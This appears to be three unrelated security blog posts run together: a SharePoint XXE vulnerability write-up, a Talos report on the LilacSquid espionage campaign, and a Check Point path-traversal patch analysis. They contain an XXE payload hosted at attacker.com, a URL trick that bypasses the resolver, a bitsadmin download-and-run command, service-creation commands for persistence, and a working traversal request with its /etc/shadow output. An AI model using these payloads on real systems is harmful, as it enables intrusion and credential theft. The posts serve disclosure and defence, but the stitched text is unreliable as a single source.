Yes, the title is right. This blog covers an XML eXternal Entity (XXE) injection vulnerability that I found in SharePoint. The bug was recently patched by Microsoft. In general, XXE vulnerabilities are not very exciting in terms of discovery and related technical aspects. They may sometimes be fun to exploit and exfiltrate data (or do other nasty things) in real environments, but in the vulnerability research world, you typically find them, report them, and forget about them.

So why am I writing a blog post about an XXE? I have two reasons:

·       It affects SharePoint, both on-prem and cloud instances, which is a nice target. This vulnerability can be exploited by a low-privileged user.
·       This is one of the craziest XXEs that I have ever seen (and found), both in terms of vulnerability discovery and the method of triggering. When we talk about overall exploitation and impact, this Pwn2Own win by Chris Anastasio and Steven Seeley is still my favorite.

The vulnerability is known as CVE-2024-30043, and, as one would expect with an XXE, it allows you to:

·       Read files with SharePoint Farm Service account permission.
·       Perform Server-side request forgery (SSRF) attacks.
·       Perform NTLM Relaying.
·       Achieve any other side effects to which XXE may lead.

Let us go straight to the details.

BaseXmlDataSource DataSource

Microsoft.SharePoint.WebControls.BaseXmlDataSource is an abstract base class, inheriting from DataSource, for data source objects that can be added to a SharePoint Page. DataSource can be included in a SharePoint page, in order to retrieve data (in a way specific to a particular DataSource). When a BaseXmlDataSource is present on a page, its Execute method will be called at some point during page rendering:

At [1], you can see the Execute method, which accepts a string called request. We fully control this string, and it should be a URL (or a path) pointing to an XML file. Later, I will refer to this string as DataFile.

At this point, we can derive this method into two main parts: XML fetching and XML parsing.

       a) XML Fetching

At [2], this.FetchData is called and our URL is passed as an input argument. BaseXmlDataSource does not implement this method (it’s an abstract class).

FetchData is implemented in three classes that extend our abstract class:
• SoapDataSource - performs HTTP SOAP request and retrieves a response (XML).
• XmlUrlDataSource - performs a customizable HTTP request and retrieves a response (XML).
• SPXmlDataSource - retrieves an existing specified file on the SharePoint site.

We will revisit those classes later.

       b) XML Parsing

At [3], the xmlReaderSettings.DtdProcessing member is set to DtdProcessing.Prohibit, which should disable the processing of DTDs.

At [4] and [5], the xmlTextReader.XmlResolver is set to a freshly created XmlSecureResolver. The request string, which we fully control, is passed as the securityUrl parameter when creating the XmlSecureResolver

At [6], the code creates a new instance of XmlReader.

Finally, it reads the contents of the XML using a while-do loop at [7].

At first glance, this parsing routine seems correct. The document type definition (DTD) processing of our XmlReaderSettings instance is set to Prohibit, which should block all DTD processing. On the other hand, we have the XmlResolver set to XmlSecureResolver.

From my experience, it is very rare to see .NET code, where:
• DTDs are blocked through XmlReaderSettings.
• Some XmlResolver is still defined.

I decided to play around and sent in a general entity-based payload at some test code I wrote similar to the code shown above (I only replaced XmlSecureResolver with XmlUrlResolver for testing purposes):

As expected, no HTTP request was performed, and a DTD processing exception was thrown. What about this payload?

It was a massive surprise to me, but the HTTP request was performed! According to that, it seems that when you have .NET code where:
• XmlReader is used with XmlTextReader and XmlReaderSettings.
• XmlReaderSettings.DtdProcessing is set to Prohibit.
• An XmlTextReader.XmlResolver is set.

The resolver will first try to handle the parameter entities, and only afterwards will perform the DTD prohibition check! An exception will be thrown in the end, but it still allows you to exploit the Out-of-Band XXE and potentially exfiltrate data (using, for example, an HTTP channel).

The XXE is there, but we have to solve two mysteries:

• How can we properly fetch the XML payload in SharePoint?
• What’s the deal with this XmlSecureResolver?

XML Fetching and XmlSecureResolver

As I have already mentioned, there are 3 classes that extend our vulnerable BaseXmlDataSource. Their FetchData method is used to retrieve the XML content based on our URL. Then, this XML will be parsed with the vulnerable XML parsing code.

Let’s summarize those 3 classes:

       a) XmlUrlDataSource

       • Accepts URLs with a protocol set to either http or https.
       • Performs an HTTP request to fetch the XML content. This request is customizable. For example, we can select which HTTP method we want to use.
       • Some SSRF protections are implemented. This class won’t allow you to make HTTP requests to local addresses such as 127.0.0.1 or 192.168.1.10. Still, you can use it freely to reach external IP address space.

       b) SoapDataSource

       • Almost identical to the first one, although it allows you to perform SOAP requests only (body must contain valid XML, plus additional restrictions).
       • The same SSRF protections exist as in XmlUrlDataSource.

       c) SPXmlDataSource

       • Allows retrieval of the contents of SharePoint pages or documents. If you have a file test.xml uploaded to the sample site, you can provide a URL as follows: /sites/sample/test.xml.

At this point, those HTTP-based classes look like a great match. We can:
• Create an HTTP server.
• Fetch malicious XML from our server.
• Trigger XXE and potentially read files from SharePoint server.

Let’s test this. I’m creating an XmlUrlDataSource, and I want it to fetch the XML from this URL:

       http://attacker.com/poc.xml

poc.xml contains the following payload:

The plan is simple. I want to test the XXE by executing an HTTP request to the localhost (SSRF).

We must also remember that whatever URL that we specify as our source also becomes the securityUrl of the XmlSecureResolver. Accordingly, this is what will be executed:

Who cares anyway? YOLO and let’s move along with the exploitation. Unfortunately, this is the exception that appears when we try to execute this attack:

It seems that “Secure” in XmlSecureResolver stands for something. In general, it is a wrapper around various resolvers, which allows you to apply some resource fetching restrictions. Here is a fragment of the Microsoft documentation:

“Helps to secure another implementation of XmlResolver by wrapping the XmlResolver object and restricting the resources that the underlying XmlResolver has access to.”

In general, it is based on Microsoft Code Access Security. Depending on the provided URL, it creates some resource access rules. Let’s see a simplified example for the http://attacker.com/test.xml:

In short, it creates restrictions based on protocol, hostname, and a couple of different things (like an optional port, which is not applicable to all protocols). If we fetch our XML from http://attacker.com, we won’t be able to make a request to http://localhost because the host does not match.

The same goes for the protocol. If we fetch XML from the attacker’s HTTP server, we won’t be able to access local files with XXE, because neither the protocol (http:// versus file://) nor the host match as required.

To summarize, this XXE is useless so far. Even though we can technically trigger the XXE, it only allows us to reach our own server, which we can also achieve with the intended functionalities of our SharePoint sources (such as XmlDataSource). We need to figure out something else.

SPXmlDataSource and URL Parsing Issues

At this point, I was not able to abuse the HTTP-based sources. I tried to use SPXmlDataSource with the following request:

       /sites/mysite/test.xml

The idea is simple. We are a SharePoint user, and we can upload files to some sites. We upload our malicious XML to the http://sharepoint/sites/mysite/test.xml document and then we:
       • Create SPXmlDataSource
       • Set DataFile to /sites/mysite/test.xml.

SPXmlDataSource will successfully retrieve our XML. What about XmlSecureResolver? Unfortunately, such a path (without a protocol) will lead to a very restrictive policy, which does not allow us to leverage this XXE.

It made me wonder about the URL parsing. I knew that I could not abuse HTTP-based XmlDataSource and SoapDataSource. The code was written in C# and it was pretty straightforward to read – URL parsing looked good there. On the other hand, the URL parsing of SPXmlDataSource is performed by some unmanaged code, which cannot be easily decompiled and read.

I started thinking about a following potential exploitation scenario:
       • Delivering a “malformed” URL.
       • SPXmlDataSource somehow manages to handle this URL, and retrieves my uploaded XML successfully.
       • The URL gives me an unrestricted XmlSecureResolver policy and I’m able to fully exploit XXE.

This idea seemed good, and I decided to investigate the possibilities. First, we have to figure out when XmlSecureResolver gives us a nice policy, which allows us to:
       • Access a local file system (to read file contents).
       • Perform HTTP communication to any server (to exfiltrate data).

Let’s deliver the following URL to XmlSecureResolver:

       file://localhost/c$/whatever

Bingo! XmlSecureResolver creates a policy with no restrictions! It thinks that we are loading the XML from the local file system, which means that we probably already have full access, and we can do anything we want.

Such a URL is not something that we should be able to deliver to SPXmlDataSource or any other data source that we have available. None of them is based on the local file system, and even if they were, we are not able to upload files there.

Still, we don’t know how SPXmlDataSource is handling URLs. Maybe my dream attack scenario with a malformed URL is possible? Before even trying to reverse the appropriate function, I started playing around with this SharePoint data source, and surprisingly, I found a solution quickly:

       file://localhost\c$/sites/mysite/test.xml

Let’s see how SPXmlDataSource handles it (based on my observations):

This is awesome. Such a URL allows us to retrieve the XML that we can freely upload to SharePoint. On the other hand, it gives us an unrestricted access policy in XmlSecureResolver! This URL parsing confusion between those two components gives us the possibility to fully exploit the XXE and perform a file read.

The entire attack scenario looks like this:

Demo

Let’s have a look at the demo, to visualize things better. It presents the full exploitation process, together with the debugger attached. You can see that:
       • SPXmlDataSource fetches the malicious XML file, even though the URL is malformed.
       • XmlSecureResolver creates an unrestricted access policy.
       • XXE is exploited and we retrieve the win.ini file.
       • “DTD prohibited” exception is eventually thrown, but we were still able to abuse the OOB XXE.

The Patch

The patch from Microsoft implemented two main changes:
       • More URL parsing controls for SPXmlDataSource.
       • XmlTextReader object also prohibits DTD usage (previously, only XmlReaderSettings did that).

In general, I find .NET XXE-protection settings way trickier than the ones that you can define in various Java parsers. This is because you can apply them to objects of different types (here: XmlReaderSettings versus XmlTextReader). When XmlTextReader prohibits the DTD usage, parameter entities seem to never be resolved, even with the resolver specified (that’s how this patch works). On the other hand, when XmlReaderSettings prohibits DTDs, parameter entities are resolved when the XmlUrlResolver is used. You can easily get confused here.

Summary

A lot of us thought that XXE vulnerabilities were almost dead in .NET. Still, it seems that you may sometimes spot some tricky implementations and corner cases that may turn out to be vulnerable. A careful review of .NET XXE-related settings is not an easy task (they are tricky) but may eventually be worth a shot.

I hope you liked this writeup. I have a huge line of upcoming blog posts, but vulnerabilities are waiting for the patches (including one more SharePoint vulnerability). Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Instagram for the latest in exploit techniques and security patches.

By Anna Bennett, Nicole Hoffman, Asheer Malhotra, Sean Taylor and Brandon White. 

• Cisco Talos is disclosing a new suspected data theft campaign, active since at least 2021, we attribute to an advanced persistent threat actor (APT) we’re calling “LilacSquid.”  
• LilacSquid’s victimology includes a diverse set of victims consisting of information technology organizations building software for the research and industrial sectors in the United States, organizations in the energy sector in Europe and the pharmaceutical sector in Asia indicating that the threat actor (TA) may be agnostic of industry verticals and trying to steal data from a variety of sources.  
• This campaign uses MeshAgent, an open-source remote management tool, and a customized version of QuasarRAT we’re calling “PurpleInk” to serve as the primary implants after successfully compromising vulnerable application servers exposed to the internet.  
• This campaign leverages vulnerabilities in public-facing application servers and compromised remote desktop protocol (RDP) credentials to orchestrate the deployment of a variety of open-source tools, such as MeshAgent and SSF, alongside customized malware, such as "PurpleInk," and two malware loaders we are calling "InkBox" and "InkLoader.”  
• The campaign is geared toward establishing long-term access to compromised victim organizations to enable LilacSquid to siphon data of interest to attacker-controlled servers. 

LilacSquid – An espionage-motivated threat actor 

Talos assesses with high confidence that this campaign has been active since at least 2021 and the successful compromise and post-compromise activities are geared toward establishing long-term access for data theft by an advanced persistent threat (APT) actor we are tracking as "LilacSquid" and UAT-4820. Talos has observed at least three successful compromises spanning entities in Asia, Europe and the United States consisting of industry verticals such as pharmaceuticals, oil and gas, and technology. 

Previous intrusions into software manufacturers, such as the 3CX and X_Trader compromises by Lazarus, indicate that unauthorized long-term access to organizations that manufacture and distribute popular software for enterprise and industrial organizations can open avenues of supply chain compromise proving advantageous to threat actors such as LilacSquid, allowing them to widen their net of targets.  

We have observed two different types of initial access techniques deployed by LilacSquid, including exploiting vulnerabilities and the use of compromised remote desktop protocol (RDP) credentials. Post-exploitation activity in this campaign consists of the deployment of MeshAgent, an open-source remote management and desktop session application, and a heavily customized version of QuasarRAT that we track as “PurpleInk” allowing LilacSquid to gain complete control over the infected systems. Additional means of persistence used by LilacSquid include the use of open-source tools such as Secure Socket Funneling (SSF), which is a tool for proxying and tunneling multiple sockets through a single secure TLS tunnel to a remote computer. 

It is worth noting that multiple tactics, techniques, tools and procedures (TTPs) utilized in this campaign bear some overlap with North Korean APT groups, such as Andariel and its parent umbrella group, Lazarus. Public reporting has noted Andariel’s use of MeshAgent as a tool for maintaining post-compromise access after successful exploitation. Furthermore, Talos has observed Lazarus extensively use SOCKs proxy and tunneling tools, along with custom-made malware as part of their post-compromise playbooks to act as channels of secondary access and exfiltration. This tactic has also been seen in this campaign operated by LilacSquid where the threat actor deployed SSF along with other malware to create tunnels to their remote servers. 

LilacSquid’s infection chains 

There are primarily two types of infection chains that LilacSquid uses in this campaign. The first involves the successful exploitation of a vulnerable web application, while the other is the use of compromised RDP credentials. Successful compromise of a system leads to LilacSquid deploying multiple vehicles of access onto compromised hosts, including dual-use tools such as MeshAgent, Secure Socket Funneling (SSF), InkLoader and PurpleInk. 

Successful exploitation of the vulnerable application results in the attackers deploying a script that will set up working directories for the malware and then download and execute MeshAgent from a remote server. On execution, MeshAgent will connect to its C2, carry out preliminary reconnaissance and begin downloading and activating other implants on the system, such as SSF and PurpleInk. 

MeshAgent is typically downloaded by the attackers using the bitsadmin utility and then executed to establish contact with the C2: 

bitsadmin /transfer -job_name- /download /priority normal -remote_URL- -local_path_for_MeshAgent-  -local_path_for_MeshAgent- connect 

Instrumenting InkLoader – Modularizing the infection chain 

When compromised RDP credentials were used to gain access, the infection chain was altered slightly. LilacSquid chose to either deploy MeshAgent and subsequent implants, or introduce another component in the infection preceding PurpleInk.  

InkLoader is a simple, yet effective DOT NET-based malware loader. It is written to run a hardcoded executable or command. In this infection chain, InkLoader is the component that persists across reboots on the infected host instead of the actual malware it runs. So far, we have only seen PurpleInk being executed via InkLoader, but LilacSquid may likely use InkLoader to deploy additional malware implants. 

Talos observed LilacSquid deploy InkLoader in conjunction with PurpleInk only when they could successfully create and maintain remote sessions via remote desktop (RDP) by exploiting the use of stolen credentials to the target host. A successful login via RDP leads to the download of InkLoader and PurpleInk, copying these artifacts into desired directories on disk and the subsequent registration of InkLoader as a service that is then started to deploy InkLoader and, in turn, PurpleInk. The infection chain can be visualized as: 

Service creation and execution on the endpoint is typically done via the command line interface using the commands: 

sc create TransactExDetect displayname=Extended Transaction Detection binPath= _filepath_of_InkLoader_ start= auto 
sc description TransactExDetect Extended Transaction Detection for Active Directory domain hosts 
sc start TransactExDetect 

PurpleInk – LilacSquid's bespoke implant 

PurpleInk, LilacSquid’s primary implant of choice, has been adapted from QuasarRAT, a popular remote access trojan family. Although QuasarRAT has been available to threat actors since at least 2014, we observed PurpleInk being actively developed starting in 2021 and continuing to evolve its functionalities separate from its parent malware family.  

PurpleInk uses an accompanying configuration file to obtain information such as the C2 server’s address and port. This file is typically base64-decoded and decrypted to obtain the configuration strings required by PurpleInk. 

PurpleInk is a highly versatile implant that is heavily obfuscated and contains a variety of RAT capabilities. Talos has observed multiple variants of PurpleInk where functionalities have both been introduced and removed. 

In terms of RAT capabilities, PurpleInk can perform the following actions on the infected host: 

• Enumerate the process and send the process ID, name and associated Window Title to the C2. 
• Terminate a process ID (PID) specified by the C2 on the infected host. 
• Run a new application on the host – start process. 
• Get drive information for the infected host, such as volume labels, root directory names, drive type and drive format. 
• Enumerate a given directory to obtain underlying directory names, file names and file sizes. 
• Read a file specified by the C2 and exfiltrate its contents. 
• Replace or append content to a specified file. 

• Gather system information about the infected host using WMI queries. Information includes:  

Information retrieved	WMI query and output used
Processor name	SELECT * FROM Win32_Processor
Memory (RAM) size in MB	Select * From Win32_ComputerSystem | TotalPhysicalMemory
Video Card (GPU)	SELECT * FROM Win32_DisplayConfiguration | Description
Username	Current username
Computer name	Infected host’s name
Domain name	Domain of the infected host
Host name	NetBIOS Host name
System drive	Root system drive
System directory	System directory of the infected host
Computer uptime	Calculate uptime from current time and SELECT * FROM Win32_OperatingSystem WHERE Primary='true' | LastBootUpTime
MAC address	By enumerating Network interfaces on the endpoint
LAN IP address	By enumerating Network interfaces on the endpoint
WAN IP address	None – not retrieved or calculated – empty string sent to C2.
Antivirus software name	Not calculated – defaults to “NoInfo”
Firewall	Not calculated – defaults to “NoInfo”
Time zone	Not calculated – an empty string is sent to the C2.
Country	Not calculated – an empty string is sent to the C2.
ISP	Not calculated – an empty string is sent to the C2.

• Start a remote shell on the infected host using ‘ cmd[.]exe /K ’. 
• Rename or move directories and files and then enumerate them. 
• Delete files and directories specified by the C2. 
• Connect to a specified remote address, specified by the C2. This remote address referenced as “Friend” internally is the reverse proxy host indicating that PurpleInk can act as an intermediate proxy tool. 

PurpleInk has the following capabilities related to communicating with its “friends” (proxy servers): 

• Connect to a new friend whose remote address is specified by the C2. 
• Send data to a new or existing friend. 
• Disconnect from a specified friend. 
• Receive data from another connected friend and process it. 

Another PurpleInk variant, built and deployed in 2023 and 2024, consists of limited functionalities, with much of its capabilities stripped out. The capabilities that still reside in this variant are the abilities to: 

• Close all connections to proxy servers. 
• Create a reverse shell.  
• Connect and send/receive data from connected proxies. 

Functionalities, such as file management, execution and gathering system information, have been stripped out of this variant of PurpleInk, but can be supplemented by the reverse shell carried over from previous variants, which can be used to carry out these tasks on the infected endpoint. Adversaries frequently strip, add and stitch together functionalities to reduce their implant’s footprint on the infected system to avoid detection or to improve their implementations to remove redundant capabilities.  

InkBox – Custom loader observed in older attacks 

InkBox is a malware loader that will read from a hardcoded file path on disk and decrypt its contents. The decrypted content is another executable assembly that is then run by invoking its Entry Point within the InkBox process. This second assembly is the backdoor PurpleInk. The overall infection chain in this case is: 

The usage of InkBox to deploy PurpleInk is an older technique used by LilacSquid since 2021. Since 2023, the threat actor has produced another variant of the infection chain where they have modularized the infection chain so that PurpleInk can now run as a separate process. However, even in this new infection chain, PurpleInk is still run via another component that we call "InkLoader.”  

LilacSquid employs MeshAgent 

In this campaign, LilacSquid has extensively used MeshAgent as the first stage of their post-compromise activity. MeshAgent is the agent/client from the MeshCentral, an open-source remote device management software. The MeshAgent binaries typically use a configuration file, known as an MSH file. The MSH files in this campaign contain information such as MeshName (victim identifier in this case) and C2 addresses: 

MeshName=-Name_of_mesh- 
MeshType=-Type_of_mesh- 
MeshID=0x-Mesh_ID_hex- 
ServerID=-Server_ID_hex- 
MeshServer=wss://-Mesh_C2_Address-
Translation=-keywords_translation_JSON-

Being a remote device management utility, MeshAgent allows an operator to control almost all aspects of the device via the MeshCentral server, providing capabilities such as: 

• List all devices in the Mesh (list of victims). 
• View and control desktop. 
• Manage files on the system. 
• View software and hardware information about the device.  

Post-exploitation, MeshAgent activates other dual-use and malicious tools on the infected systems, such as SSF and PurpleInk.  

Coverage 

Ways our customers can detect and block this threat are listed below. 

Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post. Try Secure Endpoint for free here.   

Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.  

Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign. You can try Secure Email for free here.  

Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.  

Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.  

Umbrella, Cisco's secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network. Sign up for a free trial of Umbrella here.  

Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.  

Additional protection with context to your specific environment and threat data are available from the Firewall Management Center.  

Cisco Duo provides multi-factor authentication for users to ensure only those authorized are accessing your network. 

Open-source Snort Subscriber Rule Set customers can stay up to date by downloading the latest rule pack available for purchase on Snort.org.  

IOCs 

PurpleInk 

2eb9c6722139e821c2fe8314b356880be70f3d19d8d2ba530adc9f466ffc67d8 

Network IOCs 

67[.]213[.]221[.]6 

192[.]145[.]127[.]190 

45[.]9[.]251[.]14 

199[.]229[.]250[.]142 

Gather round, gather round - it’s time for another blogpost tearing open an SSLVPN appliance and laying bare a recent in-the-wild exploited bug. This time, it is Check Point who is the focus of our penetrative gaze.

Check Point, for those unaware, is the vendor responsible for the 'CloudGuard Network Security' appliance, yet another device claiming to be secure and hardened. Their slogan - "you deserve the best security" - implies they are a company you can trust with the security of your network. A bold claim.

To see if Check Point really does deliver the security that their customers deserve - the best security - we thought we'd take a look inside their appliance, and we recently got a great opportunity to do so, in the shape of CVE-2024-24919. This is a 'high' priority bug, which (according to the CVE itself) falls under the category of Exposure of Sensitive Information to an Unauthorized Actor. Check Point advise that the bug is under active exploitation, and give the following summary (among other advice):

The vulnerability potentially allows an attacker to read certain information on Gateways once connected to the Internet and enabled with Remote Access VPN or Mobile Access.

No bug class here, just a very vague and hand-wavey description. We wondered exactly what 'certain information' meant, in this context - does it mean we can read session tokens? Or the configuration of the device? Password hashes? (spoiler: it's actually much worse than this). There wasn't much information floating around the Internet about the bug, so we set out to find out just how bad it is, so that we could share details with device administrators who need to make that all-important patch-or-no-patch decision.

Patch-Diffing time

This bug seems like a prime candidate for patch-diffing, in which the vulnerable and the patched systems are compared to reveal details about the patch itself, and thus the bug.

As ever, the first hurdle in this is obtaining the patched version of the software. While the patches linked from the advisory are locked behind a login form, we found the appliance itself would fetch patches without any credentials, and so we duly installed the patch and cataloged the resultant files, in order to compare each and every file with its pre-patch brethren.

We didn’t need to go to such lengths, though, as examining the appliance filesystem, we soon found the .tgz file containing the update itself inside a temporary directory. Great! Popping it open, we found a load of boring installation scripts, and a promising-sounding file named sslvpn.full , an ELF binary. At least we don’t need to stare at brain-numbing PHP code this time - it’s a binary file so we get to look at lovely x86 disassembly instead. Yummy.

$ find -exec file {} \\;
...
./CheckPoint#fw1#All#6.0#5#1#HOTFIX_R80_40_JHF_T211_BLOCK_PORTAL_MAIN/fw1/bin/vpn.full: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.9, BuildID[sha1]=9484c3b95be69aa112042766793877d466fe9626, stripped
...

We duly threw the vulnerable and patched versions of the file into IDA, and used Diaphora to observe the differences. Right away, something stood out to us (vulnerable code is on the left, patched on the right):

Hurm, interesting - new code has been added, which is logging the string “Suspected path traversal attack from”. It seems a pretty safe bet that the bug is actually a path traversal.

Poking around in the code, we can see that a new logging function has been added, named send_path_traversal_alert_log , and if we look just a little bit deeper, we also find the new function sanitize_filename , which calls the new logging function. If we look at what references sanitize_filename itself, we are presented with a single caller - a large function that has the autogenerated name sub_80F09E0. If we search again for references to this large function, our persistence is rewarded, as we find it is passed to the function cpHttpSvc_register_query along with the HTTP path /clients/MyCRL, strongly implying it is the handler for this endpoint.

This is great - we’re only a few minutes into our analysis, and already we’ve discovered some vital clues! Firstly, we are pretty sure we’re looking for a path traversal bug, and secondly, we’ve got a strong suspicion that it affects the endpoint /clients/MyCRL.

A little investigation reveals that this endpoint is designed to serve static files from a location on the filesystem. The files can be specified via the URI itself, in the form of /clients/MyCRL/file_to_get, or via the POST body. We experimented with this somewhat, and found some interesting-but-useless weirdness in the server - adding certain control characters into the URL (such as /clients/MyCRL/test%0Atest) would hang the request, and the error handling that detected escaped NULL bytes seemed questionable, too, as parts of the request servicing code would be executed despite dire warnings generated in the log. Nothing we tried in the URL path generated anything that looked like a controlled file read, though.

Attempting to add path traversal elements such as .. in the URL bore no fruit, as the webserver would handle them correctly - but what about the POST body? That is exempt from the webserver's path handling code. We tried adding the usual ../../etc/passwd payload , but were soon met with disappointment, as all we received was a measly 404. The server logs showed that the appliance was indeed refusing to serve our path:

[vpnd 29382 4082644928]@i-022337f52dc65ca35[30 May  3:02:00][slim] http_get_CCC_callback: Invalid filename: /opt/CPsuite-R80.40/fw1//../../etc/passwd

No good! How do we work out what’s happening, and elevate ourselves beyond blind guesses? Why, by taking a look at that big sub_80F09E0 , of course!

Understanding the decompiled code

The large handler function may seem daunting, but it is actually pretty straightforward. Switching to the vulnerable version of the code, we can see from a quick skim that it performs file I/O, given away by the telltale references to _fopen and _fread - this is undoubtedly the place to find our bug. But what is it doing?

It is slightly difficult to see what the code is doing because of the unusual way that it references string resources, which IDA doesn’t pick up. Take a look at the following code snippet:

What’s happening here? Well, the code is comparing something (the URL the user requested) with a number of hardcoded strings, located in a string table. IDA doesn’t know where the string table is, but GDB can tell us at runtime - it turns out to be here:

Easy enough - the code is checking if the user is requesting any of the files in the list, and will only permit the download if it matches. But there’s a ‘bug’ in this code. Can you spot it?

That’s right! The bug isn’t anything complex or involved, it lies in the developer’s use of the strstr function. This function, as C gurus will know, doesn’t compare two strings outright, but searches one string for another string. This immediately got the gears turning in our head - can we abuse this sloppy matching to traverse, simply by requesting a relative path that includes one of the strings from the table? As long as one of the strings is present inside the path, the check will pass and the file will be served.

Well, it turns out we can’t. We can supply paths such as icsweb.cab/../../etc/passwd, but the OS isn’t dumb, and will fail to find the file, complaining that icsweb.cab is a file, and not a directory. We’re close, though - I can almost taste it! Let’s keep looking at that code.

Here’s a very similar chunk of code, found just underneath the first. Again, we’re iterating a string table, and comparing with the requested URL. Again, we pull out GDB, and take a look at the string table it is using:

Short but sweet. We got very excited when we saw this entry - can you see why?

Yes, exactly! Because of the slash at the end of the string. That suggests that this entry isn’t a file, but a directory, which would mean we can traverse into it and then back out via the venerable .. . As long as we have the string CSHELL/ somewhere in the requested file, the request will be accepted, right?

Well, we tried, and with bated breath submitted the following request:

POST /clients/MyCRL HTTP/1.1
Host: <redacted>
Content-Length: 39

aCSHELL/../../../../../../../etc/shadow

We were rewarded with the contents of requested file.

HTTP/1.0 200 OK
Date: Thu, 30 May 2024 01:38:29 GMT
Server: Check Point SVN foundation
Content-Type: text/html
X-UA-Compatible: IE=EmulateIE7
Connection: close
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Length: 505

admin:$6$rounds=10000$N2We3dls$xVq34E9omWI6CJfTXf.4tO51T8Y1zy2K9MzJ9zv.jOjD9wNxG7TBlQ65j992Ovs.jDo1V9zmPzbct5PiR5aJm0:19872:0:99999:8:::
monitor:*:19872:0:99999:8:::
root:*:19872:0:99999:7:::
nobody:*:19872:0:99999:7:::
postfix:*:19872:0:99999:7:::
rpm:!!:19872:0:99999:7:::
shutdown:*:19872:0:99999:7:::
pcap:!!:19872:0:99999:7:::
halt:*:19872:0:99999:7:::
cp_postgres:*:19872:0:99999:7:::
cpep_user:*:19872:0:99999:7:::
vcsa:!!:19872:0:99999:7:::
_nonlocl:*:19872:0:99999:7:::
sshd:*:19872:0:99999:7:::

There we go! A path traversal leading to an arbitrary file read! Since we are able to read such a critical file - the shadow password file - we must be running as the superuser, and able to read anything on the filesystem we choose.

Wait, what?!

At this point, we were somewhat confused. What we’d found is an arbitrary file read, allowing us to read any file on the system. This is much more powerful than the vendor advisory seems to imply.

We rushed to patch our box, and confirm that we had indeed found CVE-2024-24919, and not some other bug, and were mildly surprised that, yes, this is CVE-2024-24919, and yes, it is an arbitrary file read.

Interestingly, the vendor states that the issue only affects devices with username-and-password authentication enabled, and not with the (much stronger) certificate authentication enabled. Looking at the code, we can’t see any obvious reason for this, and we do wonder if a user who has a valid certificate can exploit the issue even when password authentication is disabled.

We were also somewhat amused by the vendor’s remediation advice, which includes this gem:

To prevent attempt to exploit this vulnerability, you must protect the vulnerable Remote Access gateway behind a Security Gateway with both IPS and SSL Inspection enabled.

Obvious grammar errors aside, the advice to place your hardened border gateway device behind another hardened border gateway device gave us a chuckle.

Conclusions

That bug wasn't too difficult to find, and was extremely easy to exploit once we’d located it (full exploitation is left as an exercise for the reader - we wouldn’t want to take all the fun out of the bug).

We’re a little concerned by the vendor’s statement, though - it seems to downplay the severity of this bug. Since the bug is already being used in the wild, by real attackers, it seems dangerous for the bug to be treated as anything less than a full unauthenticated RCE, with device administrators urged to update as soon as humanely possible. They state:

The vulnerability potentially allows an attacker to access information on Gateways connected to the Internet

This is quite a confusing statement, given that Internet connectivity is not a requirement. The words 'access information' are doing some seriously heavy lifting here, as while they may be technically correct, in the most pedantic sense of the word, they minimize what is, in all reality, a very serious bug which should be treated as 'world ending' (at least, by those administrators who do not have a second Check Point device protecting their actual Check Point device).

The vendor, Check Point, have released ‘hotfix’ for the bug, which administrators are instructed to apply if they are affected (refer to the vendor advisory for details).

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.